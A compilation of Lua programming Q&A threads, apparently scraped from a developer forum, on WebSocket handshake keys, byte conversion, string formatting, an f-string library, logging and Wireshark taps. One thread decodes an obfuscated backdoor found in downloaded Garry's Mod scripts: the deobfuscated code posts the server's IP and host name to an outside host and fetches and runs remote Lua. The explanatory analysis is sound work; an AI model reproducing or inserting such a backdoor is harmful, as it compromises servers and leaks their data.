Is there an existing function to generate the server response key in Lua? Here is the solution in python: websocket handshake problem
I do have the two key numbers captured, the spaces counted, the third string captured and hoping the rest lies in an existing function...
If need the older handshake (protocol 0), you can use the following code to get the handshake value from the two keys:
md5 = require 'md5'
function getnumbers(str)
local num = ""
str:gsub('%d', function(d) num = num .. d end)
return tonumber(num)
end
function countspaces(str)
return select(2, str:gsub(' ', ' '))
end
function to32bitint(i)
return string.char(i/256^3 % 256, i/256^2 % 256, i/256 % 256, i % 256)
end
function websocketresponse(key1, key2, end8)
local n1, s1 = getnumbers(key1), countspaces(key1)
local n2, s2 = getnumbers(key2), countspaces(key2)
local cat = to32bitint(n1/s1) .. to32bitint(n2/s2) .. ending8
return md5.sum(cat)
end
websocket_key1 = "18x 6]8vM;54 *(5: { U1]8 z [ 8"
websocket_key2 = "1_ tx7X d < nw 334J702) 7]o}` 0"
ending8 = "Tm[K T2u"
print(websocketresponse(websocket_key1, websocket_key2, ending8))
--> fQJ,fN/4F4!~K~MH
This produces the same value as the example given in the protocol draft. This example uses MD5 library to calculate the checksum and is available compiled in LuaForWindows.
The implementation for WebSocket protocol version 6 is much simpler:
crypto = require 'crypto'
mime = require 'mime'
function websocketresponse6(key)
local magic = key .. "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
return (mime.b64(crypto.digest('sha1', magic, true)))
end
key6 = "x3JJHMbDL1EzLkh9GBhXDw=="
print(websocketresponse6(key6))
--> HSmrc0sMlYUkAGmm5OPpG2HaGWk=
This example uses the LuaCrypto for SHA1 sum and MIME from LuaSocket.
Have a look at the lua-websockets implementation. Here is the sha1 stuff.
Related
Have problems with this one. If try convert cirilic words or wors have to many symbols and have error
function to_string(t)
local o = {};
for _, v in ipairs(t) do
local b = v < 0 and (0xff + v + 1) or v;
table.insert(o, string.char(b));
end
return table.concat(o);
end
function to_bytes(s)
local c = { s:match( (s:gsub(".", "(.)")) ) };
local o = {};
for _, v in pairs(c) do
table.insert(o, v:byte());
end
return o;
end
local t = to_bytes("If this have to many words или русские");
local out = "\\"
local chars = #t;
for i = 1, chars do
out = out..tostring(t[i]);
if i < chars then
out = out.."\\"
end
end
out = out..""
I think the error is self-explanatory: you have too many captures in your pattern (those groups that are wrapped into parentheses). The default value is 32. You have a couple of options: (1) recompile your Lua version to use a large number (you'll have to modify LUA_MAXCAPTURES value), but keep in mind that this limit is there for a reason and (2) change your pattern to avoid this many captures (possibly splitting into smaller fragments/patterns). You may also consider using more powerful parsers, like LPEG.
You don't need regex to convert string to array of bytes
function to_bytes(s)
return {s:byte(1, -1)}
end
In javascript we can do the following:
var someString = `some ${myVar} string`
I have the following lua code, myVar is a number that needs to be in the square brackets:
splash:evaljs('document.querySelectorAll("a[title*=further]")[myVar]')
Function that fits you description is string.format:
splash:evaljs(string.format('document.querySelectorAll("a[title*=further]")[%s]', myVar))
It is not as verbose as ${}. It is more of a good old (and hated) sprintf.
I have written an emulation of Python's f'' strings, which is a set of functions you can hide inside a require file. So, if you like Python's f'' strings, this may be what you're looking for.
(If anyone finds errors, please notify.)
It's quite big compared to the other solution, but if you hide the bulk in a library, then its use is more compact and readable, IMO.
With this library you can do the following, for example:
require 'f_strings'
a = 12345
print(f'Number: {a}, formatted with two decimals: {a::%.2f}')
-- Number: 12345, formatted with two decimals: 12345.00
Note the use of Lua string.format formatting codes, and the use of double colon (instead of Python's single colon) for format specifiers because of Lua's use of colon for methods.
I have extracted only the relevant functions from a larger library. Although some optimizations may be possible for this specific use case, I leave them unchanged as they are general purpose and may also be useful for other purposes.
And here's the required library (placed somewhere in your Lua libraries folder):
-- f_strings.lua ---
unpack = table.unpack or unpack
--------------------------------------------------------------------------------
-- Escape special pattern characters in string to be treated as simple characters
--------------------------------------------------------------------------------
local
function escape_magic(s)
local MAGIC_CHARS_SET = '[()%%.[^$%]*+%-?]'
if s == nil then return end
return (s:gsub(MAGIC_CHARS_SET,'%%%1'))
end
--------------------------------------------------------------------------------
-- Returns iterator to split string on given delimiter (multi-space by default)
--------------------------------------------------------------------------------
function string:gsplit(delimiter)
if delimiter == nil then return self:gmatch '%S+' end --default delimiter is any number of spaces
if delimiter == '' then return self:gmatch '.' end
if type(delimiter) == 'number' then --break string in equal-size chunks
local index = 1
local ans
return function()
ans = self:sub(index,index+delimiter-1)
if ans ~= '' then
index = index + delimiter
return ans
end
end
end
if self:sub(-#delimiter) ~= delimiter then self = self .. delimiter end
return self:gmatch('(.-)'..escape_magic(delimiter))
end
--------------------------------------------------------------------------------
-- Split a string on the given delimiter (comma by default)
--------------------------------------------------------------------------------
function string:split(delimiter,tabled)
tabled = tabled or false --default is unpacked
local ans = {}
for item in self:gsplit(delimiter) do
ans[#ans+1] = item
end
if tabled then return ans end
return unpack(ans)
end
--------------------------------------------------------------------------------
function copy(t) --returns a simple (shallow) copy of the table
if type(t) == 'table' then
local ans = {}
for k,v in next,t do ans[ k ] = v end
return ans
end
return t
end
--------------------------------------------------------------------------------
function eval(expr,vars)
--evaluate a string expression with optional variables
if expr == nil then return end
vars = vars or {}
assert(type(expr) == 'string','String expected as 1st arg')
assert(type(vars) == 'table','Variable table expected as 2nd arg')
local env = {abs=math.abs,acos=math.acos,asin=math.asin,atan=math.atan,
atan2=math.atan2,ceil=math.ceil,cos=math.cos,cosh=math.cosh,
deg=math.deg,exp=math.exp,floor=math.floor,fmod=math.fmod,
frexp=math.frexp,huge=math.huge,ldexp=math.ldexp,log=math.log,
max=math.max,min=math.min,modf=math.modf,pi=math.pi,pow=math.pow,
rad=math.rad,random=math.random,randomseed=math.randomseed,
sin=math.sin,sinh=math.sinh,sqrt=math.sqrt,tan=math.tan,
tanh=math.tanh}
for name,value in pairs(vars) do env[name] = value end
local a,b = pcall(load('return '..expr,nil,'t',env))
if a == false then return nil,b else return b end
end
--------------------------------------------------------------------------------
-- f'' formatted strings like those introduced in Python v3.6
-- However, you must use Lua style format modifiers as with string.format()
--------------------------------------------------------------------------------
function f(s)
local env = copy(_ENV) --start with all globals
local i,k,v,fmt = 0
repeat
i = i + 1
k,v = debug.getlocal(2,i) --two levels up (1 level is this repeat block)
if k ~= nil then env[k] = v end
until k == nil
local
function go(s)
local fmt
s,fmt = s:sub(2,-2):split('::')
if s:match '%b{}' then s = (s:gsub('%b{}',go)) end
s = eval(s,env)
if fmt ~= nil then
if fmt:match '%b{}' then fmt = eval(fmt:sub(2,-2),env) end
s = fmt:format(s)
end
return s
end
return (s:gsub('%b{}',go))
end
I recently downloaded some lua scripts and discovered this obfuscated code within. After a good many hours I failed to discover how to deobfuscate it and was looking for some help.
In terms of what I have tried already, I noticed the number's just convert to characters which reveals a few functions. However it would appear that the variables assigned at the top are not assigned to anything or maybe some special unicode character which is invisible in my editor (atom).
Here is the obfuscated code:
local = _G
local = ['\115\116\114\105\110\103']
local = ['\98\105\116']['\98\120\111\114']
local function ()
if ['\108\101\110']() == 0 then
return
end
local = ''
for _ in ['\103\109\97\116\99\104'](, '\46\46') do
= ..['\99\104\97\114']((["\116\111\110\117\109\98\101\114"](_, 16), 53))
end
return
end
['415c585047']['665c58455950'](5,
function ()
['5d414145']['655a4641']('5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', {['56'] = ['52585a51']['72504172545850585a5150']()['7b545850'], ['50'] = ['52545850']['7250417c6574515147504646'](), ['51'] = ['7250417d5a46417b545850']()})
end )
['415c585047']['665c58455950'](5,
function ()
['5d414145']['735041565d']('5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
function (return)
['67405b6641475c5b52'](return)
end, nil )
end )
Old Lua (and modern LuaJIT) allows using arbitrary non-ASCII bytes (above 0x7F) in identifiers.
Nice feature for obfuscation! :-)
timer.Simple(
5,
function ()
http.Post(
"https://chainlose.000webhostapp.com/svlog/tracker.php",
{
c = gmod.GetGamemode().Name,
e = game.GetIPAddress(),
d = GetHostName()
}
)
end
)
timer.Simple(
5,
function ()
http.Fetch(
"https://chainlose.000webhostapp.com/gas.lua",
function (str)
RunString(str)
end,
nil
)
end
)
I am writing a generic Log() function in lua which utilizes lua print function:
Log (variable, 'String: %s ', str, 'Word: %d', w)
Currently I'm using below approach:
print(string.format (variable, 'String: %s ', str, 'Word: %d', w))
I tried something like:
Log = function(...) begin
return print(string.format(...))
end
But it doesn't work, Is this correct approach? Or Is there any better more generic way to get this done?
If you just want to print a sequence of values, you can do that with print:
print(variable, 'String: %s ', str, 'Word: %d', w)
What you seem to want is something more complicated. Your algorithm seems to be:
For each argument:
If the argument is not a string, then convert it to a string and print it.
If the argument is a string, figure out how many % patterns it has (let us call this number k). Pass string.format the current argument string and the following k parameters, printing the resulting string. Advance k parameters.
That's a much more complicated algorithm than can be done in a one-line system.
Using Lua 5.3, here's what such a function would look like (note: barely tested code):
function Log(...)
local values = {}
local params = table.pack(...)
local curr_ix = 1
while (curr_ix <= params.n) do
local value = params[curr_ix]
if(type(value) == "string") then
--Count the number of `%` characters, *except* for
--sequential `%%`.
local num_formats = 0
for _ in value:gmatch("%%[^%%]") do
num_formats = num_formats + 1
end
value = string.format(table.unpack(params, curr_ix, num_formats + curr_ix))
curr_ix = curr_ix + num_formats
end
values[#values + 1] = value
curr_ix = curr_ix + 1
end
print(table.unpack(values))
end
I don't think your current approach works, because the first argument of string.format expects the format specifier, not the rest of the arguments.
Anyway, this is the way to combine formatting and printing together:
Log = function(...)
return print(string.format(...))
end
And call it like this:
Log("String: %s Number: %d", 'hello' , 42)
Also, it might be better to make the format specifier argument more explicit, and use io.write instead of print to get more control over printing:
function Log(fmt, ...)
return io.write(string.format(fmt, ...))
end
I have a program which checks for conditions some variable field, like
if(tostring(field) == '0') then {do something}
if(tostring(field) == '1') then {do something}
if(tostring(field) == '2') then {do something}
But, i think lua is interpreting '0' and '1' as TRUE/FALSE values and not checking the corresponding if conditions properly. The condition executes properly for field == '2' condition.
How can i overcome this case? How can i make it work for check conditions '0' and '1'?
Thank You in advance!
In case you are wondering why i tagged wireshark, the if check condition is checking for a field in pcap file.
My lua code for reference is as follows:
#!/usr/bin/lua
do
local pkts = 0
local stat = {}
local file = io.open("luawrite","w")
local function init_listener()
local tap = Listener.new("wlan")
local src_addr = Field.new("wlan.sa")
local type = Field.new("wlan.fc.type")
local sub_type = Field.new("wlan.fc.subtype")
local frame_length = Field.new("frame.len")
local data_rate = Field.new("wlan.data_rate")
function tap.reset()
pkts = 0;
end
function tap.packet(pinfo, tvb)
local client = src_addr()
local stype = sub_type()
local ty = type()
local ts = tostring(pinfo.rel_ts)
local fl = frame_length()
rate = data_rate()
if(tostring(ty) == '0') then
file:write(tostring(ts), "\t", tostring(fl), "\t", tostring(rate), "\n")
end
end
end
init_listener()
end
The condition i am referring to 7th line from last line. If i give the condition tostring(ty) == '2', it works properly.
From the manual:
The condition expression of a control structure can return any value.
Both false and nil are considered false. All values different from nil
and false are considered true (in particular, the number 0 and the
empty string are also true).
Both the number 0 and the empty string evaluate to true, so it's definitely not mistaking the string "0" for false. I might avoid redefining type. Also, I think frame_type returns a number so you can get rid of the tostring() in the condition.
do
local pkts = 0
local stat = {}
local file = io.open("luawrite","w")
local function init_listener()
local tap = Listener.new("wlan")
local src_addr = Field.new("wlan.sa")
-- Changed function from type to frame_type
local frame_type = Field.new("wlan.fc.type")
local sub_type = Field.new("wlan.fc.subtype")
local frame_length = Field.new("frame.len")
local data_rate = Field.new("wlan.data_rate")
function tap.reset()
pkts = 0;
end
function tap.packet(pinfo, tvb)
local client = src_addr()
local stype = sub_type()
local ty = frame_type()
local ts = tostring(pinfo.rel_ts)
local fl = frame_length()
rate = data_rate()
-- skip the tostring
if ty == 0 then
file:write(tostring(ts), "\t", tostring(fl), "\t", tostring(rate), "\n")
end
end
end
init_listener()
end
If all else fails, try writing a line regardless of the frame type and write the frame type with it:
function tap.packet(pinfo, tvb)
local client = src_addr()
local stype = sub_type()
local ty = frame_type()
local ts = tostring(pinfo.rel_ts)
local fl = frame_length()
rate = data_rate()
file:write(tostring(ty), "\t", tostring(ts), "\t", tostring(rate), "\n")
end
Then you can see which frame types you're receiving.
As Corbin said, it's definitely not interpreting "0" and "1" as TRUE/FALSE. Wireshark runs the stock Lua interpreter, and Lua only considers nil and the boolean value of false as false values. Of course you're not really checking if they're false values, you're doing a string comparison of the string-ified value of the "wlan.fc.type" field value to the string "0" or the string "1" or whatever. The actual value you get for the "wlan.fc.type" field is a number, so as Corbin said there's no need to convert it to a string and string-compare it to a string of "0" or whatever... just compare them as numbers.
Regardless, stringifying both of them should have worked too (just been less efficient), so the odds are there simply isn't an 802.11 packet with a wlan.fc.type of 0 in your capture. A wlan.fc.type of 0 is a management frame, a 1 is a control frame, and a 2 is a data frame. So the odds are you're only capturing 802.11 data packets, which is why your comparison of the string-ified wlan.fc.type to the string "2" succeeds.
One way to find out is to open your capture file in wireshark, and put in a display filter for "wlan.fc.type == 0" and see if any packets are shown. If not, then you don't have any management packets.